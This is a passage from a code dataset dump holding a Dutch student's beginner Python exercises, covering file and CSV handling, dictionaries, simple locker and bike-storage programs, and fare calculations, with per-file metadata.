productnummer)\nprint(totalVoorraad)"},{"alpha_fraction":0.6043956279754639,"alphanum_fraction":0.6087912321090698,"avg_line_length":18.69565200805664,"blob_id":"a6365ebb266aa23d8942da0e2cf70cd8cdffcdba","content_id":"a194be26b833b246633e504caedff0b21b63bd5d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":455,"license_type":"no_license","max_line_length":48,"num_lines":23,"path":"/Opdrachten/7.4. File & dict.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"file = open(\"ticker.txt\",\"r\")\n\ndict = {}\n\ndef ticker():\n for lines in file:\n bedrijf = str(lines.split(\":\")[0])\n symbool = str(lines.split(\":\")[1])\n dict[bedrijf] = symbool\n\nticker()\n\nwhile True:\n enterCompany = input(\"Enter company name: \")\n company = dict[enterCompany]\n print(\"Ticker symbool:\", company)\n break\n\n\n\nenterSymbool = input(\"Enter Ticker Symbool: \")\nif enterSymbool in dict.values():\n print(\"Check\")\n\n\n"},{"alpha_fraction":0.6016677618026733,"alphanum_fraction":0.6234765648841858,"avg_line_length":29.58823585510254,"blob_id":"e89914dd4d2bca189e857bbdd2e9591776ae1f25","content_id":"2126a9e6ee53220231cb691b932e7cf040f5e4ef","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1559,"license_type":"no_license","max_line_length":127,"num_lines":51,"path":"/Opdrachten/Final assignment Bagagekluizen.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"print(\"1: Ik wil weten hoeveel kluizen nog vrij zijn \\n2: Ik wil een nieuwe kluis \\n3: Ik wil even iets uit mijn kluis halen \")\n\nkeuze = (int((input(\"Kies uit optie 1, 2 of 3: \"))))\n\n\nfile = open(\"kluizen.txt\",\"r+\")\n\ndef toon_aantal_kluizen_vrij():\n lines = sum(1 for line in file)\n linesRemaining = 12 - lines\n print(\"Er zijn nog:\", linesRemaining, \"kluizen vrij\")\n\n\ndef nieuwe_kluis():\n kluisnummers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]\n for lines in file:\n deKluisnummers = int(lines.split(\";\")[0])\n if deKluisnummers in kluisnummers:\n kluisnummers.remove(deKluisnummers)\n if len(kluisnummers) > 0:\n wachtwoord = (input(\"Geef een code voor uw kluisje: \"))\n file.write((str(kluisnummers[0]) + \";\" + str(wachtwoord) + \"\\n\"))\n print(\"u heeft kluisnummer: \" + str(kluisnummers[0]))\n elif len(kluisnummers) == 0:\n print(\"Er zijn geen kluisjes meer beschikbaar\")\n\ndef kluis_openen():\n geefKluisnummer = input(\"Geef uw kluisnummer: \")\n geefWachtwoord = input(\"Geef uw wachtwoord: \")\n for lines in file:\n jeKluisnummer = lines.split(\";\")[0]\n jeWachtwoord = lines.split(\";\")[1]\n if geefKluisnummer in jeKluisnummer and geefWachtwoord in jeWachtwoord:\n print(\"Uw kluisje is geopent\")\n break\n else:\n print(\"combinatie incorrect\")\n\n\n\nif keuze == 1:\n toon_aantal_kluizen_vrij()\nelif keuze == 2:\n nieuwe_kluis()\nelif keuze == 3:\n kluis_openen()\nelse:\n print(\"ERROR Deze optie is niet beschikbaar\")\n\n\nfile.close()"},{"alpha_fraction":0.6194690465927124,"alphanum_fraction":0.6194690465927124,"avg_line_length":21.200000762939453,"blob_id":"ccb5e26c0b722816de3f9baff48e34a9144ebc27","content_id":"3e02d3026069838d78cd1423a06116dd27e5e27d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":113,"license_type":"no_license","max_line_length":50,"num_lines":5,"path":"/Opdrachten/6. For, If & vowels.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"s = \"Guido van Rossum heeft programmeertaal Python bedacht.\"\n\nfor even in s:\n if even in 'aeiou':\n print(even)\n\n\n"},{"alpha_fraction":0.60502690076828,"alphanum_fraction":0.60502690076828,"avg_line_length":31.764705657958984,"blob_id":"e87c147326acdc4d6bf06374c0ac6b02a9e03532","content_id":"a813cefcda2b7ed6ffdd2d9f35d927b94c492775","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":557,"license_type":"no_license","max_line_length":63,"num_lines":17,"path":"/Opdrachten/8.2 CSV-files schrijven.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"import datetime\nimport csv\nmydate = datetime.datetime.now()\nwith open('inloggers.csv', 'w', newline='') as bestand:\n writer = csv.writer(bestand, delimiter=';')\n writer.writerow(('datum','naam','voorl','gbdatum','email'))\n\n\n while True:\n naam = input(\"Wat is je achternaam? \")\n if naam == \"einde\":\n break\n voorl = input(\"Wat zijn je voorletters? \")\n gbdatum = input(\"Wat is je geboortedatum? \")\n email = input(\"Wat is je e-mail adres? \")\n\n writer.writerow((mydate, naam, voorl, gbdatum, email))\n"},{"alpha_fraction":0.6103448271751404,"alphanum_fraction":0.6103448271751404,"avg_line_length":25.454545974731445,"blob_id":"4d8ea926318b24b926028bab1a703470f0b706d1","content_id":"f7d2558d83361202cb00b1772aec8732498db9d6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":290,"license_type":"no_license","max_line_length":48,"num_lines":11,"path":"/Opdrachten/4. Files schrijven.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"import datetime\ndef strftime():\n vandaag = datetime.datetime.today()\n s = vandaag.strftime(\"%a %d %b %Y %H:%M:%S\")\n return (s)\n\ndatum = strftime()\nnaam = input(\"Naam hardloper: \")\nrunners = open(\"Hardlopers.txt\", \"a+\")\nrunners.write(datum + \" \" + naam + \" \" + \"\\n\")\nrunners.close()"}],"string":"[\n {\n \"alpha_fraction\": 0.5886076092720032,\n \"alphanum_fraction\": 0.6012658476829529,\n \"avg_line_length\": 12.25,\n \"blob_id\": \"10f5f75e5de91c5d07cb504dfbb843ad1e5ea522\",\n \"content_id\": \"07742e7838141ec585ce1486f037abfe87df5c9d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 158,\n \"license_type\": \"no_license\",\n \"max_line_length\": 24,\n \"num_lines\": 12,\n \"path\": \"/Opdrachten/6.0 Functie met (im)mutable parameter.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def wijzig(letterlijst):\\n lijst.clear()\\n lijst.extend(lijst2)\\n\\n\\nlijst = ['a','b','c']\\nlijst2 = ['d', 'e', 'f']\\n\\n\\nprint(lijst)\\nwijzig(lijst)\\nprint(lijst)\"\n },\n {\n \"alpha_fraction\": 0.6392694115638733,\n \"alphanum_fraction\": 0.6666666865348816,\n \"avg_line_length\": 26.375,\n \"blob_id\": \"5e260e9a780e443fe75bd8a604c2946f6a57f20a\",\n \"content_id\": \"859eba702704b9ac39a316932f4bd0d9d1b72898\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 219,\n \"license_type\": \"no_license\",\n \"max_line_length\": 74,\n \"num_lines\": 8,\n \"path\": \"/Opdrachten/2.0 list and strings.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"lijst = eval(input('Geef lijst met minimaal 10 strings: '))\\nlijst2 = []\\nfor char in lijst:\\n if len(char) == 4:\\n lijst2.append(char)\\n\\n\\nprint(\\\"De nieuw-gemaakte lijst met alle vier-letter strings is: \\\", lijst2)\\n\"\n },\n {\n \"alpha_fraction\": 0.5053763389587402,\n \"alphanum_fraction\": 0.5806451439857483,\n \"avg_line_length\": 13.230769157409668,\n \"blob_id\": \"9e24f7f81d92bbe829c92c0076aa5242576ec578\",\n \"content_id\": \"f3478ae9b47db666906d4a76bdb80f550227f54e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 186,\n \"license_type\": \"no_license\",\n \"max_line_length\": 42,\n \"num_lines\": 13,\n \"path\": \"/Opdrachten/1. Formatting.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def convert(celsius):\\n return celsius * 1.8 + 32\\n\\n\\ncelsius = 25\\n\\nprint(convert(celsius))\\n\\nprint(' F C')\\n\\n\\nfor i in range(-30,50,10):\\n print('{:5}{:5}'.format(convert(i),i))\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6255000233650208,\n \"alphanum_fraction\": 0.6284999847412109,\n \"avg_line_length\": 32.86440658569336,\n \"blob_id\": \"dc59d3b91fb4276229b36582ea9ef1de33332ab6\",\n \"content_id\": \"c4b2939ebb6bfad006e42d9fec447e828997d9df\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2000,\n \"license_type\": \"no_license\",\n \"max_line_length\": 121,\n \"num_lines\": 59,\n \"path\": \"/Miniproject programming/miniproject.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import csv\\n\\ndef terugomzettenASCII(omgezetteWaarde):\\n lijst = list(omgezetteWaarde)\\n i = 0\\n omgezetteWaarde = []\\n for letter in lijst:\\n ASCII = ord(lijst[i]) + 3\\n CHAR = chr(ASCII)\\n omgezetteWaarde.append(CHAR)\\n i += 1\\n zin = ''.join(omgezetteWaarde)\\n return zin\\n\\ndef omzettenASCII(omzetWaarde):\\n lijst = list(omzetWaarde)\\n i = 0\\n omgezetteWaarde = []\\n for letter in lijst:\\n ASCII = ord(lijst[i]) - 3\\n CHAR = chr(ASCII)\\n omgezetteWaarde.append(CHAR)\\n i += 1\\n zin = ''.join(omgezetteWaarde)\\n return zin\\n\\n\\n\\n\\ndef opslaanRegistratienummer():\\n with open('stalling.csv', 'r', newline='') as myCSVFile:\\n reader = csv.DictReader(myCSVFile, delimiter=',')\\n registratienummer = []\\n wachtwoorden = []\\n for row in reader:\\n omgezet = terugomzettenASCII(row['uhjlvwudwlhqxpphu'])\\n wachtwoordOmgezet = terugomzettenASCII(row['t^`eqtlloa'])\\n registratienummer.append(omgezet)\\n wachtwoorden.append(wachtwoordOmgezet)\\n return registratienummer, wachtwoorden\\n\\ndef ophalen():\\n registratienummers, wachtwoorden = opslaanRegistratienummer()\\n while True:\\n invoerRegistratienummer = input(\\\"Geef alstublieft uw registratienummer: \\\")\\n if invoerRegistratienummer in registratienummers:\\n while True:\\n indexRegistratienummer = registratienummers.index(invoerRegistratienummer)\\n invoerWachtwoord = input(\\\"Geef alstublief uw wachtwoord: \\\")\\n if invoerWachtwoord in wachtwoorden[indexRegistratienummer]:\\n print(\\\"U kunt uw fiets nu ophalen! heb een prettige dag!\\\")\\n break\\n else:\\n print(\\\"Dit wachtwoord hoord niet bij het registratienummer dat u heeft gegeven, probeer het opnieuw\\\")\\n else:\\n print(\\\"Dit registratienummer is niet in gebruik, probeer het nog een keer!\\\")\\n break\\n\\nophalen()\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.34734514355659485,\n \"alphanum_fraction\": 0.39712390303611755,\n \"avg_line_length\": 27.28125,\n \"blob_id\": \"9ba18a48a2729b5084b1df7116a2f7a5368b8005\",\n \"content_id\": \"6084b33b08699410f8d5bfd3be6c49ed5dd5822d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 904,\n \"license_type\": \"no_license\",\n \"max_line_length\": 71,\n \"num_lines\": 32,\n \"path\": \"/Opdrachten/7.2 Random.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from random import *\\n\\ndef monopolyworp():\\n x = randint(1, 6)\\n y = randint(1, 6)\\n x2 = randint(1, 6)\\n y2 = randint(1, 6)\\n x3 = randint(1, 6)\\n y3 = randint(1, 6)\\n rol = x + y\\n rol2 = x2 + y2\\n rol3 = x3 + y3\\n for i in range(0,3):\\n if x == y:\\n print(x,\\\"+\\\", y,\\\"=\\\", rol, \\\"(dubbel)\\\")\\n print(x2,\\\"+\\\", y2,\\\"=\\\", rol2)\\n break\\n elif x == y and x2 == y2:\\n print(x, \\\"+\\\", y, \\\"=\\\", rol, \\\"(dubbel\\\")\\n print(x2, \\\"+\\\", y2, \\\"=\\\", rol2, \\\"dubbel\\\")\\n print(x3, \\\"+\\\", y3, \\\"=\\\", rol3)\\n break\\n elif x == y and x2 == y2 and x3 == y3:\\n print(x, \\\"+\\\", y, \\\"=\\\", rol, \\\"(dubbel\\\")\\n print(x2, \\\"+\\\", y2, \\\"=\\\", rol2, \\\"(dubbel)\\\")\\n print(x3, \\\"+\\\", y3, \\\"=\\\", rol3, \\\"(direct naar de gevangenis\\\")\\n break\\n else:\\n print(x,\\\"+\\\", y,\\\"=\\\", rol)\\n break\\n\\nmonopolyworp()\"\n },\n {\n \"alpha_fraction\": 0.5283018946647644,\n \"alphanum_fraction\": 0.5345911979675293,\n \"avg_line_length\": 21.14285659790039,\n \"blob_id\": \"535ea4b1b8816bb75f3e291a9af33c935f3aeb54\",\n \"content_id\": \"d227d98002f1f31bc143b9744b06aeaa42df47a1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 159,\n \"license_type\": \"no_license\",\n \"max_line_length\": 49,\n \"num_lines\": 7,\n \"path\": \"/Opdrachten/7.3 ASCII.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def code():\\n invoerstring = input(\\\"Geef string: \\\").strip()\\n for c in invoerstring:\\n cope = ord(c) + 3\\n print(chr(cope),end=\\\"\\\")\\n\\ncode()\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6122449040412903,\n \"alphanum_fraction\": 0.6275510191917419,\n \"avg_line_length\": 19.6842098236084,\n \"blob_id\": \"e50b4870aa03b9d085b6d480658cbf27f41bea49\",\n \"content_id\": \"a5ad7f570ea939348eb4a41bbef80b23ab57860a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 392,\n \"license_type\": \"no_license\",\n \"max_line_length\": 85,\n \"num_lines\": 19,\n \"path\": \"/Opdrachten/3. Files lezen.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"file = open(\\\"kaartnummers\\\", \\\"r\\\")\\n\\ncount = 0\\nmaxNumber = 0\\nlineCount = 1\\n\\nfor lines in file:\\n count += 1\\n number = int(lines.split(\\\",\\\")[0])\\n if number > maxNumber:\\n maxNumber = number\\n maxLine = lineCount\\n lineCount += 1\\n\\nprint('Deze file telt', count, \\\"regels\\\")\\n\\nprint(\\\"Het grootste kaartnummer is \\\",maxNumber, \\\" en dat staat op regel: \\\",lineCount)\\n\\nfile.close()\"\n },\n {\n \"alpha_fraction\": 0.59375,\n \"alphanum_fraction\": 0.6116071343421936,\n \"avg_line_length\": 21.5,\n \"blob_id\": \"41c193087831655c6ea956e651ee43b10cd2bf07\",\n \"content_id\": \"bea566d261d8e5051da773ec1095b280e751b8c5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 224,\n \"license_type\": \"no_license\",\n \"max_line_length\": 69,\n \"num_lines\": 10,\n \"path\": \"/Opdrachten/7.1. While-loop & numbers.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"aantalNummers = 0\\nsom = 0\\nwhile True:\\n getal = int(input(\\\"Geef een getal: \\\"))\\n if getal == 0:\\n break\\n som += getal\\n aantalNummers += 1\\n\\nprint(\\\"Er zijn\\\",aantalNummers, \\\"nummers ingevoerd, de som is: \\\", som)\"\n },\n {\n \"alpha_fraction\": 0.6132478713989258,\n \"alphanum_fraction\": 0.6538461446762085,\n \"avg_line_length\": 29.225807189941406,\n \"blob_id\": \"0de0061f0f4aac7d6b7346661e047502f727ce32\",\n \"content_id\": \"f912510b7b4a3e0c1c50e422070c48c149aaf089\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 936,\n \"license_type\": \"no_license\",\n \"max_line_length\": 65,\n \"num_lines\": 31,\n \"path\": \"/Opdrachten/Final assignment NS functies.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def standaardprijs(afstandKM):\\n if afstandKM > 0 and afstandKM <= 50:\\n return afstandKM * 0.80\\n if afstandKM < 0:\\n return afstandKM == 0\\n else:\\n return (afstandKM * 0.60) + 15\\n\\n\\naftstandKM = int(input('Geef de afstand van uw rit: '))\\n\\n\\ndef ritprijs(leeftijd, weekendrit, afstandKM):\\n if weekendrit == 'nee' and leeftijd >= 65 or leeftijd < 12:\\n return standaardprijs(aftstandKM) * 0.70\\n if weekendrit == 'ja' and leeftijd >= 65 or leeftijd < 12:\\n return standaardprijs(aftstandKM) * 0.65\\n if weekendrit == 'nee' and (leeftijd < 65 and leeftijd > 12):\\n return standaardprijs(aftstandKM)\\n if weekendrit == 'ja' and (leeftijd < 65 and leeftijd > 12):\\n return standaardprijs(aftstandKM) * 0.60\\n\\n\\nweekendrit = str(input('Rijs je in het weekend? ja of nee: '))\\n\\nleeftijd = int(input('Geef uw leeftijd: '))\\n\\n\\nprijs = ritprijs(leeftijd, weekendrit, aftstandKM)\\n\\nprint(prijs)\"\n },\n {\n \"alpha_fraction\": 0.5319148898124695,\n \"alphanum_fraction\": 0.5617021322250366,\n \"avg_line_length\": 17.153846740722656,\n \"blob_id\": \"ebf2faa0c78211b6cd775d438e7bdcd7274df1e1\",\n \"content_id\": \"9a665e9fd36ab6c134632e7da381233fda43cd3b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 235,\n \"license_type\": \"no_license\",\n \"max_line_length\": 68,\n \"num_lines\": 13,\n \"path\": \"/Opdrachten/2. files inlezen.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"infile = open(\\\"kaartnummers\\\", \\\"r\\\")\\n\\n\\n\\nfor line in infile:\\n info = line.split(\\\",\\\")\\n nummer = info[0]\\n naam = info[1]\\n print(naam, end=' ')\\n print(('{:5}{0:5}{0:5}'.format(nummer),(\\\"heeft kaartnummer: \\\")))\\n\\n\\ninfile.close()\"\n },\n {\n \"alpha_fraction\": 0.6288659572601318,\n \"alphanum_fraction\": 0.6288659572601318,\n \"avg_line_length\": 18.299999237060547,\n \"blob_id\": \"540d0c14979eb146468d1362afac5d9f7281674f\",\n \"content_id\": \"62f55da85c49b945735c44d9d51c3a8cfbd4e8cc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 194,\n \"license_type\": \"no_license\",\n \"max_line_length\": 46,\n \"num_lines\": 10,\n \"path\": \"/Opdrachten/5. string functions.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"woorden = []\\n\\ndef gemiddelde():\\n zin = input(\\\"Geef een willekeurige zin: \\\")\\n woorden = zin.split()\\n for lengte in woorden:\\n print(len(lengte))\\n\\ngemiddelde()\\nprint(gemiddelde())\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.7010050415992737,\n \"alphanum_fraction\": 0.7035176157951355,\n \"avg_line_length\": 27.071428298950195,\n \"blob_id\": \"bf8414ce5689a5dc983f3d55b899ecf6b7a24858\",\n \"content_id\": \"576017b01397b7b311cfa7e470ea63e6d2ad1d88\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 398,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 14,\n \"path\": \"/Opdrachten/4.0 functie met If.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def new_password(newpassword,oldpassword):\\n if len(newpassword) >= 6 and newpassword != oldpassword:\\n return\\n\\n\\noldpassword = str(input('Geef oude wachtwoord: '))\\nnewpassword = str(input('Geef nieuwe wachtwoord: '))\\n\\nisCorrect = new_password(newpassword,oldpassword)\\n\\nif isCorrect == True:\\n print('Het is gelukt!')\\nelse:\\n print('Het password is hetzelfde of niet lang genoeg.')\\n\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6798029541969299,\n \"alphanum_fraction\": 0.6896551847457886,\n \"avg_line_length\": 17.454545974731445,\n \"blob_id\": \"b1ba6c813a0e78433740b1ef397e38201dea59c4\",\n \"content_id\": \"2dec7aa435df792ddee72a13a8113317add8bbc6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 203,\n \"license_type\": \"no_license\",\n \"max_line_length\": 44,\n \"num_lines\": 11,\n \"path\": \"/Opdrachten/2. Functie met list-parameter.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def som(getallenLijst):\\n return sum(getallenLijst)\\n\\ngetallenLijst = []\\n\\n\\nfor i in range(0,5):\\n nummers = int((input('Geef nummers: ')))\\n getallenLijst.append(nummers)\\n\\nprint(som(getallenLijst))\\n\"\n },\n {\n \"alpha_fraction\": 0.42763158679008484,\n \"alphanum_fraction\": 0.5,\n \"avg_line_length\": 20.571428298950195,\n \"blob_id\": \"acae88acf29f15fb961a4ddd74fe4ba12b52afc6\",\n \"content_id\": \"00ea30af9190a0ae2c049b70791b83d49e8c85af\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 152,\n \"license_type\": \"no_license\",\n \"max_line_length\": 87,\n \"num_lines\": 7,\n \"path\": \"/Opdrachten/7.3. Dict.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"dict = {\\\"Jan\\\": 9,\\\"Piet\\\" : 8, \\\"Kees\\\":9,\\\"Larry\\\":6,\\\"John\\\":10,\\\"Bert\\\":7,\\\"Gijs\\\":9,\\\"Frans\\\":10}\\n\\n\\n\\nfor i in dict:\\n if dict[i] > 8:\\n print(dict[i],i)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.4751552939414978,\n \"alphanum_fraction\": 0.5093167424201965,\n \"avg_line_length\": 19.1875,\n \"blob_id\": \"ba8d57ba23475cdbd68ba03e4c6722f5b4339ab1\",\n \"content_id\": \"78cd8b399e8337f177f5866a19ba6870c02c0387\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 322,\n \"license_type\": \"no_license\",\n \"max_line_length\": 41,\n \"num_lines\": 16,\n \"path\": \"/Opdrachten/6.1 Decision Control.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"maand = int(input('Geef maand nummer: '))\\n\\n\\ndef seizoen(maand):\\n if (maand in (3 , 4 , 5)):\\n season = ('Lente')\\n elif (maand in (6, 7, 8)):\\n season = ('Zomer')\\n elif (maand in (9, 10, 11)):\\n season = ('Herfst')\\n else:\\n season = ('Winter')\\n return season\\n\\n\\nprint(seizoen(maand))\"\n },\n {\n \"alpha_fraction\": 0.640816330909729,\n \"alphanum_fraction\": 0.6897959113121033,\n \"avg_line_length\": 26.33333396911621,\n \"blob_id\": \"c0cf509573984c2f39857696c917d26bda2a616e\",\n \"content_id\": \"0239dd1d8df8943cf331fa0edad8410b96a9830b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 245,\n \"license_type\": \"no_license\",\n \"max_line_length\": 47,\n \"num_lines\": 9,\n \"path\": \"/Opdrachten/1. Functie met drie parameters.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def som(getal1,getal2,getal3):\\n return getal1 + getal2 + getal3\\n\\n\\ngetal1 = int(input('Geef het eerste getal: '))\\ngetal2 = int(input('Geef het tweede getal: '))\\ngetal3 = int(input('Geef het derde getal: '))\\n\\nprint(som(getal1,getal2,getal3))\"\n },\n {\n \"alpha_fraction\": 0.5817694664001465,\n \"alphanum_fraction\": 0.6085790991783142,\n \"avg_line_length\": 23.928571701049805,\n \"blob_id\": \"24f446a52ee6a21c75f1e12e7ab73b55e51ff015\",\n \"content_id\": \"4c14e457b04f0227b525fa0f890854c0246e71d9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 373,\n \"license_type\": \"no_license\",\n \"max_line_length\": 62,\n \"num_lines\": 14,\n \"path\": \"/Opdrachten/8.1. Catching exceptions.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\n\\ntry:\\n aantal = 0\\n hotel = 4356\\n kosten = 4356 / aantal\\n if aantal < 0:\\n print(\\\"Negatieve getallen zijn niet toegestaan!\\\")\\n else:\\n print(kosten)\\nexcept TypeError:\\n print(\\\"Gebruik cijfers voor het invoeren van het aantal!\\\")\\nexcept ZeroDivisionError:\\n print(\\\"Delen door nul kan niet!\\\")\\nexcept:\\n \\\"Onjuiste invoer!\\\"\\n\\n\\n \\n \\n \\n \\n\"\n },\n {\n \"alpha_fraction\": 0.6171875,\n \"alphanum_fraction\": 0.671875,\n \"avg_line_length\": 31.08333396911621,\n \"blob_id\": \"b1fe62fb24e2ec31a1b6471bdb3624e96eea03d4\",\n \"content_id\": \"18c1084def39b9a1ff80ddaa69c155435cef13ee\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 384,\n \"license_type\": \"no_license\",\n \"max_line_length\": 81,\n \"num_lines\": 12,\n \"path\": \"/Opdrachten/3. Lists & numbers.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"invoer = \\\"5-9-7-1-7-8-3-2-4-8-7-9\\\"\\n\\nlijst = invoer.split(\\\"-\\\")\\n\\nlijst2 = list(map(int, lijst))\\nlijst2.sort()\\ngemiddelde = sum(lijst2) / len(lijst2)\\n\\nprint(\\\"Gesorteerde list van ints: \\\", lijst2)\\nprint(\\\"Grootste getal: \\\", max(lijst2), \\\" en kleinste getal: \\\", min(lijst2))\\nprint(\\\"aanstal getallen: \\\", len(lijst2), \\\"en Som van de getallen: \\\", sum(lijst2))\\nprint(\\\"Gemiddelde: \\\", gemiddelde)\"\n },\n {\n \"alpha_fraction\": 0.6035714149475098,\n \"alphanum_fraction\": 0.6499999761581421,\n \"avg_line_length\": 30.11111068725586,\n \"blob_id\": \"e6885434e228e4e70c10842c70bb54f74ac29c6c\",\n \"content_id\": \"96af46d4e9207ba4948a19f4f3c15f94e4bfebb9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 280,\n \"license_type\": \"no_license\",\n \"max_line_length\": 118,\n \"num_lines\": 9,\n \"path\": \"/Opdrachten/1.1 Getallen, strings and conversions.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"cijferICOR = 7\\ncijferPROG = 7\\ncijferCSN = 7\\n\\ngemiddelde = (cijferICOR + cijferPROG + cijferCSN) / 3\\nbeloning = (7 * 30) + (7 * 30) + (7 * 30)\\noverzicht = \\\"Mijn cijfers (gemiddeld een \\\" + str(gemiddelde) + \\\") leveren een beloning van $\\\" + str(beloning) + \\\" op!\\\"\\n\\nprint (overzicht)\\n\"\n },\n {\n \"alpha_fraction\": 0.52173912525177,\n \"alphanum_fraction\": 0.5362318754196167,\n \"avg_line_length\": 19.352941513061523,\n \"blob_id\": \"d9c41a252c56aac4c492994339e1bd1fd9e7bb29\",\n \"content_id\": \"51d49cd889baa6bcd9fa8cd8f865001f65bc8bbf\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 345,\n \"license_type\": \"no_license\",\n \"max_line_length\": 69,\n \"num_lines\": 17,\n \"path\": \"/Opdrachten/8.3. CSV-files lezen.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import csv\\n\\n\\nmax = 0\\nnaam = \\\"\\\"\\ndatum = \\\"\\\"\\nwith open('gamers.csv', 'r') as gamersFile:\\n reader = csv.reader(gamersFile, delimiter=';')\\n for row in reader:\\n if int(row[2]) > max:\\n naam = row[0]\\n datum = row[1]\\n max = int(row[2])\\n\\n\\n\\nprint(\\\"De hoogste score is:\\\", max, \\\"op\\\", datum, \\\"behaald door\\\", naam)\"\n },\n {\n \"alpha_fraction\": 0.6860264539718628,\n \"alphanum_fraction\": 0.6877515912055969,\n \"avg_line_length\": 39.44186019897461,\n \"blob_id\": \"d80e6f954a2f9d900d80ae5a5c2d4cda71becf2a\",\n \"content_id\": \"553b187144ab14521241274e5f6646ac0d1ca759\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n 